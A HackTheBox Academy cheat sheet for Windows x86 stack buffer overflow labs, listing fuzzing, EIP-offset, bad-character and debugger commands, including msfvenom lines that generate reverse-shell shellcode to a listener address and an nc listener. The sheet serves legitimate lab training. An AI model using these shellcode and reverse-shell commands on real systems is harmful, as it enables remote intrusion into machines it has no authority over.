HACKTHEBOX

STACK-BASED BUFFER OVERFLOWS ON WINDOWS X86

CHEAT SHEET

Buffer Overflow Steps

1. Fuzzing Parameters
2. Controlling EIP
3. Identifying Bad Characters
4. Finding a Return Instruction
5. Jumping to Shellcode

Commands

Command	Description
General	
`xfreerdp /v:<target IP address> /u:htb-student /p:<password>`	RDP to Windows VM
`/usr/bin/msf-pattern_create -l 5000`	Create Pattern
`/usr/bin/msf-pattern_offset -q 31684630`	Find Pattern Offset
`netstat -a |findstr LISTEN`	List listening ports on a Windows machine
`.\nc.exe 127.0.0.1 8888`	Interact with port
`msfvenom -p 'windows/exec' CMD='cmd.exe' -f 'python' -b '\x00'`	Generate Local Privesc Shellcode

Command	Description
`msfvenom -p 'windows/shell_reverse_tcp' LHOST=10.10.15.10 LPORT=1234 -f 'python' -b '\x00\0x0a'`	Generate Reverse Shell Shellcode
`nc -lvnp 1234`	Listen for reverse shell
x32dbg	
`F3`	Open file
`alt+A`	Attach to a process
`alt+L`	Go to Logs Tab
`alt+E`	Go to Symbols Tab
`ctrl+f`	Search for instruction
`ctrl+b`	Search for pattern
`Search For>All Modules>Command`	Search all loaded modules for instruction
`Search For>All Modules>Pattern`	Search all loaded modules for pattern
ERC	
`ERC --config SetWorkingDirectory C:\Users\htb-student\Desktop\`	Configure Working Directory
`ERC --pattern c 5000`	Create Pattern
`ERC --pattern o 1hF0`	Find Pattern Offset
`ERC --bytearray`	Generate All Characters Byte Array
`ERC --bytearray -bytes 0x00`	Generate Byte Array excluding certain bytes

HTB ACADEMY CHEATSHEET

Command	Description
`ERC --compare 0014F974 C:\Users\htb-student\Desktop\ByteArray_1.bin`	Compare bytes in memory to a Byte Array file
`ERC --ModuleInfo`	List loaded modules and their memory protections
Python	
`python -c "print('A'*10000)"`	Print fuzzing payload
`python -c "print('A'*10000, file=open('fuzz.wav', 'w'))"`	Write fuzzing payload to a file
`breakpoint()`	Add breakpoint to Python exploit
`c`	Continue from breakpoint

HTB ACADEMY CHEATSHEET